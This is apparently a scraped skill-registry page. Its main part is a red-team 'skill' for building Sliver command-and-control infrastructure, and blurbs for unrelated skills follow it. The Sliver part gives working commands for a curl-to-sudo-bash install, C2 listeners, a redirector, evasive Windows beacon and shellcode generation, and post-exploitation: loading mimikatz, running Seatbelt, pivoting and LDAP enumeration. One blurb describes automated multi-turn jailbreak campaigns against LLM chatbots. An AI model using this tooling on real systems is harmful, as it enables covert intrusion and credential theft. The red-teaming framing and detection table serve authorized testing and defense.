external/anthropic-cybersecurity-skills/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md
Deploy and harden a Sliver C2 team server (BishopFox's Go-based adversary emulation framework) with multi-protocol listeners (mTLS, HTTP/S, DNS, WireGuard), redirectors, domain fronting, and multi-operator support for authorized red-team operations. Use when standing up resilient C2 for a red-team engagement or generating beacon/session implants that must survive blue-team detection.
npx skillsauth add seikaikyo/dash-skills building-c2-infrastructure-with-sliver-frameworkInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.
curl https://sliver.sh/install | sudo bash
systemctl start sliver
# Or run interactively
sliver-server
new-operator --name operator1 --lhost <team-server-ip>
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
dns --domains c2dns.example.com --lport 53
mtls --lhost 0.0.0.0 --lport 8888
wg --lport 51820
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
generate beacon --dns c2dns.example.com --os windows --arch amd64
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
beacons # List active beacons
use <beacon-id> # Interact with a beacon
ps # Process listing
netstat # Network connections
execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies
sideload /path/to/mimikatz.dll # Load DLLs
pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host
armory install sa-ldapsearch # Install from armory
sa-ldapsearch -- "(objectClass=user)" # Execute BOF
| Tool | Purpose | Platform | |------|---------|----------| | Sliver Server | C2 team server and implant management | Linux/macOS/Windows | | Sliver Client | Operator console for team members | Cross-platform | | NGINX | Redirector and reverse proxy | Linux | | Certbot | Let's Encrypt SSL certificate generation | Linux | | Cloudflare | CDN and domain fronting | Cloud | | Armory | Sliver extension/BOF package manager | Built-in |
| Indicator | Detection Method | |-----------|-----------------| | Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings | | mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports | | DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic | | WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns | | Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |
tools
Conduct comprehensive GDPR compliance assessments by evaluating data processing activities against EU Regulation 2016/679, including Article 30 records of processing, lawful basis validation, data subject rights implementation, Data Protection Impact Assessments (DPIAs) under Article 35, breach notification procedures, international transfer safeguards (SCCs, adequacy decisions), and technical/organizational measures under Article 32. Use when processing personal data of EU residents, preparing for supervisory authority audits, implementing privacy-by-design for new systems, scoping compliance gaps for M&A due diligence, assessing third-party processors, or responding to data subject access requests at scale. Incorporates 2026 guidance from ICO, EDPB, and post-Data (Use and Access) Act 2025 UK-GDPR considerations. Do not use for implementing specific Article 32 controls — use implementing-gdpr-data-protection-controls; or for DSAR automation — use implementing-gdpr-data-subject-access-request.
tools
Parse Windows forensic artifacts—$MFT/$J (MFTECmd), Prefetch (PECmd), registry hives (RECmd), shellbags, and Amcache—into normalized CSV/JSON with Eric Zimmerman's EZ Tools, then load results into Timeline Explorer for analysis. Use during DFIR/incident-response investigations, after triage collection (e.g. with KAPE), to establish program execution, file/folder access, and persistence evidence from acquired forensic images.
development
Build automated multi-turn adversarial attacks against conversational LLM targets using Microsoft PyRIT's RedTeamingOrchestrator, CrescendoOrchestrator (gradual escalation), and TreeOfAttacksWithPruningOrchestrator (adaptive branching), with scorer feedback loops and persisted conversation memory. Use when single-shot LLM scanning is insufficient and you need multi-turn, scorer-driven AI red-team campaigns against a chatbot or agent.
testing
Stand up MISP, enable and cache curated threat feeds (CIRCL, abuse.ch, Feodo Tracker), apply warninglists to suppress false positives, query indicators with PyMISP, and export attributes as auto-generated Suricata/Sigma/Wazuh detection rules. Use when maturing a MISP instance to actively drive detection, curating threat feeds with quality controls, or automating IOC-to-detection pipelines for the SIEM/IDS.